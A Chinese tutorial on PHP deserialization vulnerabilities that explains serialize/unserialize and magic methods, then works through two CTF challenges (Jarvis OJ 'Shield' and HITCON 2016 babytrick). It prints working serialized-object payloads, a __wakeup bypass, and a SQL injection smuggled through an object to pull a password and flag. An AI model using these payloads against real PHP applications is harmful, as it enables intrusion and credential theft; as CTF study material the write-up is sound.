PHP反序列化漏洞研究
序列化
序列化说通俗点就是把一个对象变成可以传输的字符串
php serialize()函数
用于序列化对象或数组,并返回一个字符串。序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。
<?php
$sites = array('Google', 'Microsoft', 'Facebook');
$serialized_data = serialize($sites);
echo $serialized_data . PHP_EOL;
?>
输出:
a:3:{i:0;s:6:"Google";i:1;s:9:"Microsoft";i:2;s:8:"Facebook";}
解释
a: 代表数组(如果是o就代表对象(object))
3: 代表数组里面有3个变量
i: 代表数据类型(i:int;s:string)
6: 代表数据长度
反序列化
php unserialize()函数
用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。
<?php
$str = 'a:3:{i:0;s:6:"Google";i:1;s:9:"Microsoft";i:2;s:8:"Facebook";}';
$unserialized_data = unserialize($str);
print_r($unserialized_data);
?>
输出:
Array ( [0] => Google [1] => Microsoft [2] => Facebook )
魔法方法
在php的语法中,有一些系统自带的方法名,均以双下划线开头,它会在特定的情况下被调用。即所谓的魔法函数。在这里主要涉及以下几个:
__construct()...........在每次创建新对象时先调用
__destruct()............某个对象的所有引用都被删除或者当对象被显式销毁时执行
__toString()............用于一个类被当成字符串时应怎样回应
__sleep() ..............在被序列化之前运行
__wakeup()..............反序列化时被调用
实例分析
Jarvis 神盾局的秘密
通过php文件包含漏洞获得源码,这里仅介绍后面的php反序列化漏洞部分
index.php:
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
shield.php
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
__construct函数在实例被创建的时候(也就是new Shield()的时候)执行,所以不会影响对$file的操作
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
$shield=new Shield('pctf.php');
echo serialize($shield);
?>
输出:
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
payload:
http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
Hitcon-ctf-2016 babytrick
https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2016/babytrick

<?php
//include:将 PHP 文件的内容插入另一个 PHP 文件
include "config.php";
class HITCON{
//private:被private修饰的变量和方法,只能在所在的类的内部被调用和修改,不可以在类的外部被访问。在子类中也不可以。
private $method;
private $args;
private $conn;
//定义一个构造方法初始化赋值
public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
$this->__conn();
}
function show() {
list($username) = func_get_args();
//sprint:把格式化的字符串写入一个变量中
$sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
$obj = $this->__query($sql);
if ( $obj != false ) {
$this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
} else {
$this->__die("Nobody Nobody But You!");
}
}
function login() {
global $FLAG;
list($username, $password) = func_get_args();
//trim:移除字符串两侧的空白字符或其他预定义字符
//mysql_escape_string:转义特殊字符
$username = strtolower(trim(mysql_escape_string($username)));
$password = strtolower(trim(mysql_escape_string($password)));
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);
//stripos:查找字符串第一次出现的位置
if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}
$obj = $this->__query($sql);
if ( $obj != false && $obj->role == 'admin' ) {
$this->__die("Hi, Orange! Here is your flag: " . $FLAG);
} else {
$this->__die("Admin only!");
}
}
function source() {
//highlight_file:对文件进行语法高亮显示
highlight_file(__FILE__);
}
function __conn() {
global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
if (!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $this->conn);
if ($DEBUG) {
$sql = "CREATE TABLE IF NOT EXISTS users (
username VARCHAR(64),
password VARCHAR(64),
role VARCHAR(64)
) CHARACTER SET utf8";
$this->__query($sql, $back=false);
$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}
mysql_query("SET names utf8");
mysql_query("SET sql_mode = 'strict_all_tables'");
}
function __query($sql, $back=true) {
$result = @mysql_query($sql);
if ($back) {
return @mysql_fetch_object($result);
}
}
function __die($msg) {
$this->__close();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}
function __close() {
mysql_close($this->conn);
}
function __destruct() {
$this->__conn();
if (in_array($this->method, array("show", "login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
} else {
$this->__die("What do you do?");
}
$this->__close();
}
function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
}
if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
} else {
new HITCON("source", array());
}
?>
源码审计:
php反序列化漏洞、对象注入,unserialize函数没有过滤而__wakeup函数进行了过滤,绕过__wakeup函数:对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行(参考链接4)
首先传入参数data需要构造序列化,通过sql注入获取orange用户的数据库密码
show()
function show() {
list($username) = func_get_args();
//sprint:把格式化的字符串写入一个变量中
$sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
$obj = $this->__query($sql);
if ( $obj != false ) {
$this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
} else {
$this->__die("Nobody Nobody But You!");
}
}
通过分析show方法,构造如下:
payload:
<?php
class HITCON{
private $method="show";
private $args=array("yoloyanng' union select password,username,role from users where username = 'orange' -- ");
private $conn=1;
}
$hit = new HITCON();
$result = serialize($hit);
var_dump($result);
?>
执行的sql语句为:
SELECT * FROM users WHERE username='lll' union select password,username,role from users where username = 'orange' -- '
疑问:不知为何username的值也是有限制,输入一些其他的字符并不能够得到结果
得到:
O:6:"HITCON":2:{s:14:"HITCONmethod";s:4:"show";s:12:"HITCONargs";a:1:{i:0;s:87:"lll' union select password,username,role from users where username = 'orange' -- ";}}s:12:"HITCONconn";i:1;}
构造如下:
O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:79:"lll' union select password,username,role from users where username='orange' -- ";}}s:12:"%00HITCON%00conn";i:1;}
说明:至于为什么加上%00:当字符串为private类型时,序列化时生成的序列化字符串中类名前后会有0×00
得到:{"msg":"root is admin"}
login()
function login() {
global $FLAG;
list($username, $password) = func_get_args();
$username = strtolower(trim(mysql_escape_string($username)));
$password = strtolower(trim(mysql_escape_string($password)));
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);
if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}
$obj = $this->__query($sql);
if ( $obj != false && $obj->role == 'admin' ) {
$this->__die("Hi, Orange! Here is your flag: " . $FLAG);
} else {
$this->__die("Admin only!");
}
}
if ( $username == 'orange' || stripos($sql, 'orange') != false )
可以看到对于用户名进行了过滤,可以参考连接3的绕过方法
payload:
<?php
class HITCON{
private $method;
private $args;
public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$args['username'] = 'orÃnge';
$args['password'] = 'root';
$data = new HITCON('login',$args);
var_dump(serialize($data));
?>
得到:
O:6:"HITCON":2:{s:14:"HITCONmethod";s:5:"login";s:12:"HITCONargs";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:4:"root";}}
构造:
O:6:"HITCON":2:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:4:"root";}}
{"msg":"Hi, Orange! Here is your flag: HITCON{php 4nd mysq1 are s0 mag1c, isn't it?}"}
参考
(1)https://www.freebuf.com/articles/web/167721.html
(2)https://blog.csdn.net/qq_40996739/article/details/82724602
(3)https://blog.spoock.com/2016/11/08/hitcon-babytrick-writeup/
(4)https://www.freebuf.com/vuls/116705.html
PHP反序列化漏洞研究的更多相关文章
- fastjson反序列化漏洞研究(上)
前言 最近护网期间,又听说fastjson传出“0day”,但网上并没有预警,在github上fastjson库中也有人提问关于fastjson反序列化漏洞的详情.也有人说是可能出现了新的绕过方式.不 ...
- fastjson反序列化漏洞研究(下)
之前的文章显示字符太多 拒绝显示 只好分为两篇了 这样我们只需要找到可以利用的类,构造poc链就好了,这个和以前的java反序列化漏洞类似,先不说.网上最早的poc是使用com.sun.org.ap ...
- Fastjson反序列化漏洞研究
0x01 Brief Description java处理JSON数据有三个比较流行的类库,gson(google维护).jackson.以及今天的主角fastjson,fastjson是阿里巴巴一个 ...
- 五个demo案例带你学习PHP反序列化漏洞
一直想研究下php反序列化漏洞,花了几天时间做了个简单的了解..写篇文章记录下. 直白点就是围绕着serialize和unserialize两个函数. 一个用于序列化,一个用于反序列化. 我们通常把字 ...
- 反序列化漏洞问题研究之php篇
php的反序列化反序列化漏洞又称php对象注入(php Object Injection)产生的问题主要分以下两类: 将传来的序列化数据直接unserilize,造成魔幻函数的执行.这种情况在一般的应 ...
- Java反序列化漏洞执行命令回显实现及Exploit下载
原文地址:http://www.freebuf.com/tools/88908.html 本文原创作者:rebeyond 文中提及的部分技术.工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使 ...
- Java反序列化漏洞通用利用分析
原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...
- Node.js 反序列化漏洞远程执行代码(CVE-2017-5941)
2.1 摘要 2.1.1 漏洞介绍 漏洞名称: Exploiting Node.js deserialization bug for Remote Code Execution 漏洞CVE id: C ...
- Java反序列化漏洞实现
一.说明 以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂:反来在运营商做乙方经常会因为java反反序列 ...
随机推荐
- Python--模块之re
re模块 就其本质而言,正则表达式(或 RE)是一种小型的.高度专业化的编程语言,(在Python中)它内嵌在Python中,并通过 re 模块实现.正则表达式模式被编译成一系列的字节码,然后由用 C ...
- apue 第4章 文件和目录
获取文件属性 #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> int stat(c ...
- 使用JAVA如何对图片进行格式检查以及安全检查处理
一.通常情况下,验证一个文件是否图片,可以通过以下三种方式: 1).判断文件的扩展名是否是要求的图片扩展名 这种判断是用得比较多的一种方式,不过这种方式非常的不妥,别人稍微的把一个不是图片的文件的扩展 ...
- C#排列组合类,写彩票算法的朋友们可以来看一看
public class PermutationAndCombination<T> { /// <summary> /// 交换两个变量 ...
- php开发面试题---PHP为什么不安全,主要有那些安全问题(整理)
php开发面试题---PHP为什么不安全及常见的攻击方式(整理) 一.总结 一句话总结: 其实安全和语言关系不大,主要和程序员关系比较大,php也就是因为是弱类型语言,所以不如java健壮,php会遇 ...
- 三.通过jenkins对系统的监控(2)
在这记录下,通过HTTP Request Plugin监控系统的异常.和上一篇原理差不多. 1.首先需要安装HTTP Request Plugin.插件安装好后,在系统设置下面会新增如下配置: 具体有 ...
- JAVA StringUtils方法全集
StringUtils方法全集 org.apache.commons.lang.StringUtils中方法的操作对象是java.lang.String类型的对象,是JDK提供 的String类型操作 ...
- Reactor 反应堆设计模式
为了应对高并发的服务器端开发,微软在2009年提出了一种更优雅地实现异步编程的方式Reactive Programming即反应式编程.随后其他技术紧随其后,比如ES6通过引入类似的异步编程方式等. ...
- python作业/练习/实战:下载QQ群所有人的头像
步骤与提示:1.在腾讯群网页中进入任意一个群,获取相关信息,可以用postman是试一下,可以看到我们要的是mems里面的数据,需要获取到QQ号和群名片,如果没有群名片的话取昵称2.根据QQ号下载头像 ...
- 关于 AfxGetStaticModuleState ()
写MFC的DLL的时候,总会在自动生成的代码框架里看到提示,需要在每一个输出的函数开始添加上AFX_MANAGE_STATE (AfxGetStaticModuleState()).一直不明白这样做的 ...